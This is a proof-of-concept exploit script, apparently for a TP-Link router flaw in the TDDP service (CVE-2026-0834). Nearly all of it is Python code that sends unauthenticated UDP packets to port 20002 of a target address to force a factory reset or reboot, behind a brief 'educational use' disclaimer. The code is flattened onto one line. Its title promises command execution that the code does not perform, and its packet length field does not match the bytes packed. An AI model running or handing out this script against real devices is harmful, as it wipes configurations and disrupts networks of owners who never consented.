CVE-2026-0834: TP-Link路由器TDDP模块逻辑漏洞导致未授权命令执行

#!/usr/bin/env python3 """ CVE-2026-0834 PoC - TP-Link TDDP Logic Vulnerability Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_tddp_packet(command_type, command_code, payload=b''): """ Create a TDDP protocol packet TDDP Header structure: - Version (1 byte): 0x01 - Type (1 byte): command_type - Code (1 byte): command_code - Length (2 bytes): packet length """ version = 0x01 packet = struct.pack('>BBBH', version, command_type, command_code, len(payload) + 8) packet += payload return packet def trigger_factory_reset(target_ip, target_port=20002): """ Trigger factory reset via TDDP protocol Type 0x09 = Command request Code 0x01 = Factory reset """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Construct factory reset command payload = b'\x00\x01' # Factory reset command packet = create_tddp_packet(0x09, 0x01, payload) print(f"[*] Sending factory reset packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) try: response, addr = sock.recvfrom(1024) print(f"[+] Received response from {addr}: {response.hex()}") except socket.timeout: print("[*] No response received (device may have restarted)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def trigger_reboot(target_ip, target_port=20002): """ Trigger device reboot via TDDP protocol Type 0x09 = Command request Code 0x02 = Reboot """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Construct reboot command payload = b'\x00\x02' # Reboot command packet = create_tddp_packet(0x09, 0x02, payload) print(f"[*] Sending reboot packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) try: response, addr = sock.recvfrom(1024) print(f"[+] Received response from {addr}: {response.hex()}") except socket.timeout: print("[*] No response received (device may have restarted)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <action>") print("Actions: factory_reset, reboot") print(f"Example: {sys.argv[0]} 192.168.0.1 factory_reset") sys.exit(1) target = sys.argv[1] action = sys.argv[2].lower() if action == "factory_reset": trigger_factory_reset(target) elif action == "reboot": trigger_reboot(target) else: print("[-] Invalid action. Use 'factory_reset' or 'reboot'")